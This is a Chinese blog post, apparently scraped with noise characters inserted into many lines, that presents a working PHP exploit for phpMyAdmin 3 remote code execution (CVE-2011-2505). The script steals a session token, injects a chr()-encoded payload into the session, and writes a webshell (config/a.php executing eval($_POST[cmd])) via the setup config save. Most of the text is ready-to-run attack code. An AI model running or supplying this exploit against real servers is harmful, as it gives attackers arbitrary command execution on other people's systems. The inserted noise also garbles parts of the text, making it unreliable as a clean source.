phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。
" E+ h5 l5 T$ q) i- X/ T* U
" }4 q+ a; h, C' \昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。

4 y% S) P8 G5 x" P$ Q  {1 {首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
一是session.auto_start = 1；
! }/ f2 `& z0 W/ i二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
% Q5 y" a! ~, f% H5 O当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。
2 R$ N. T% {, _
在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
9 Q& s/ F4 h% w( d8 b4 [
于是写了这个php版本的exp，代码如下：

#!/usr/bin/php
  ?1 v* [& K+ [/ G5 Q4 |. D! R3 ?<?php
print_r('
2 {8 N4 n9 c. ?8 j# R$ r6 a+---------------------------------------------------------------------------+
- v& F- A: C5 e3 [pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
by oldjun(www.oldjun.com)
welcome to www.t00ls.net
mail: oldjun@gmail.com
& z+ I9 ~0 c4 @: oAssigned CVE id: CVE-2011-2505
# j( B2 r( U9 o+---------------------------------------------------------------------------+
3 b# ^% G( o" ~1 N');
  A: m# ?; J1 C$ A4 f
/**
) l- M- s, N4 V% l9 o' _ * working when the directory:"config" exists and is writeable.
**/

+ R! r3 K; t7 T1 }. e+ dif ($argc < 3) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
0 X& J- c1 |6 H2 e3 uhost:      target server (ip/hostname)
path:      path to pma3
Example:
0 Q$ C5 t9 \. z; Q& D. Cphp '.$argv[0].' localhost /pma/
+---------------------------------------------------------------------------+
8 ?* V( z" s3 O+ T  O; O6 ?2 j');
    exit;
" [" q; M+ H  e1 W  ~7 e}
  ?: l- Y/ E  _! M6 N8 b' g
$host = $argv[1];
$path = $argv[2];
# J( N' g6 O# F& C5 N3 O: T# g
5 M6 F1 ^0 s) Q/**
8 q+ o6 f; ^3 ]! \- z * Try to determine if the directory:"config" exists
**/
2 X6 D7 h! m4 G: Uecho "[+] Try to determine if the directory:config exists....\n";
$returnstr=php_request('config/');
if(strpos($returnstr,'404')){
$ h7 K, [' p0 u. P8 V# |5 O8 ~    exit("[-] Exploit Failed! The directory:config do not exists!\n");
! Z9 |" T: O; `8 T0 t+ C}

. W6 x) K' g8 s- I4 J/**
* Try to get token and sessionid
**/
echo "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
  O, i4 U  ?% }4 lpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
& X0 C' B% M( b8 |2 A$token=$resp[3];
( u7 q. L0 d- z, `$sessionid=$resp[1];
, E4 Y/ a' t, P; mif($token && $sessionid){
& D1 ]# s* b/ j- t7 k. V6 n* J    echo "[+] tokentoken\n";
    echo "[+] Session IDsessionid\n";
}else{
( X7 E) g6 b3 O    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
}
& ?$ ?. x9 c* a" f
/**
* Try to insert shell into session
( |  E( a  n% k0 Z1 m**/
echo "[+] Try to insert shell into session....\n";
& M; @* t8 ?5 iphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.

/**
* Try to create webshell
2 j6 r& G; Z9 m0 c$ o8 E, _**/
. _6 \7 b- O# h' i! o5 vecho "[+] Try to create webshell....\n";
5 P& c$ v6 P1 e4 d) h5 Z7 F! n+ ?php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/**
* Try to check if the webshell was created successfully
$ R  d9 w8 e" b8 F**/
- {- {+ k% B3 ^% s6 o: p, [echo "[+] Try to check if the webshell was created successfully....\n";
' [6 E" s6 N* o, [$ v. m0 H$content=php_request('config/config.inc.php');
  j% `" w( x% U5 wif(strpos($content,'t00ls')){
8 W# }* H, b7 P. O    echo "[+] Congratulations! Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
8 T7 E5 W* C  Q9 {" x}else{
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
}
/ e0 L% v0 A# O9 e' }$ A; Z. j
  Y) b* K# U. O$ E0 Ifunction php_request($url,$data='',$cookie=''){
    global  $host, $path;
   
    $method=$data?'POST':'GET';
. i+ l& V* o% q1 I0 f   
1 E$ K9 f, p+ E    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
    $packet .= "Accept: */*\r\n";
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $packet .= "Host: $host\r\n";
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
4 H2 U$ Q; i% J    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
    $packet .= "Connection: Close\r\n\r\n";
    $packet .= $data?$data:"";

9 x0 [" ~& Y0 A    $fp = fsockopen(gethostbyname($host), 80);
. v7 ]1 Q$ k$ a4 C    if (!$fp) {
    echo 'No response from '.$host; die;
3 K8 ?8 x3 O; q3 \% M2 e" L    }
+ m: a' r& B7 U' o) e* ]    fputs($fp, $packet);

    $resp = '';
$ x1 `. D7 n  D6 S8 o) q  w& ^6 h
* ]. v% p9 ~: {. j( r* P3 }    while ($fp && !feof($fp))
" l/ ?/ |; L* F5 [& v( B        $resp .= fread($fp, 1024);

    return $resp;
}
5 V" v7 t$ [9 I, U   
?>
8 R# Q7 O5 g+ ]- A" P5 u1 l.